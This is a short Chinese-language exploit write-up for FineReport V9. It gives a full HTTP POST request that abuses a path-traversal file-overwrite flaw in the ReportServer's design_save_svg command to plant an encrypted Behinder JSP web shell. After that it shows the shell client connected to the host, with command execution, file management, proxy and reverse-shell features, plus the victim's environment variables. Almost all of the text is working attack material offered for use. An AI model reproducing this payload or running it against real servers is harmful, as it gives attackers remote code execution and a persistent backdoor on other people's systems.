

帆软 V9getshell

FineReport V9


注意: 这个漏洞是任意文件覆盖, 上传 JSP 马, 需要找已存在的 jsp 文件进行覆盖 Tomcat 启动帆软后默认存在的 JSP 文件:

比如: /tomcat-7.0.96/webapps/ROOT/index.jsp

覆盖 Tomcat 自带 ROOT 目录下的 index.jsp:

```
POST /WebReport/ReportServer?
op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../WebReport/update.jsp HTTP/1.1
Host: 192.168.169.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/81.0.4044.92 Safari/537.36
Connection: close
Accept-Au: 0c42b2f264071be0507acea1876c74
Content-Type: text/xml; charset=UTF-8
Content-Length: 675

{"__CONTENT__": "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\"pass\")!=null) {String
k=(\"\"+UUID.randomUUID()).replace(\"-
\",\"\").substring(16);session.putValue(\"u\",k);out.print(k);return;}Cipher
c=Cipher.getInstance(\"AES\");c.init(2,new
SecretKeySpec((session.getValue(\"u\")+\").getBytes(),\"AES\"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta
nce().equals(pageContext);%>\", \"__CHARSET__\": \"UTF-8\"}
```

 <http://192.168.169.138:8080/WebReport/update.jsp> 冰蝎 v2.0.1

URL:

基本信息	命令执行	虚拟终端	文件管理	Socks代理	反弹Shell	数据库管理	自定义代码	备忘录
------	------	------	------	---------	---------	-------	-------	-----

环境变量:

USERPROFILE=C:\Users\Administrator

JAVA_HOME=C:\jdk1.7.0_80